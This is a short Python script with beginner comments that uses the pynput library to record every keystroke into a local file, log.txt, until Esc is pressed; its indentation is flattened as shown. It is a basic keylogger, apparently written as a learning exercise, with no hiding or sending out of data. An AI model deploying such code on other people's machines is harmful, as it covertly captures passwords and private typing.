from pynput.keyboard import Key , Listener

output = 'log.txt'

with open(output,'a') as f:

f.close() #log file is created

def on_press(user_input): #The on_press function knows when a key is pressed , we are specifying what to do when a key is pressed

with open(output,'a') as f:

if user_input == Key.space:

char = ' '

else:

c = str(user_input)

char = c.replace('\'','') #This replace function is to remove '' from the character whose key is pressed , so that the log is more readable ,otherwise log will look like this --> 'H''i' 't''h''e''r''e'

f.write(char)

f.close()

def on_release(user_input):

if user_input==Key.esc:

with open(output,'a') as f:

f.write('\n')

f.close()

return False #stops the listener when a function returns false , for details see https://pypi.org/project/pynput/

with Listener(on_press=on_press , on_release=on_release) as listener:

listener.join()

#s.replace('a', 'b') replaces every 'a' with 'b'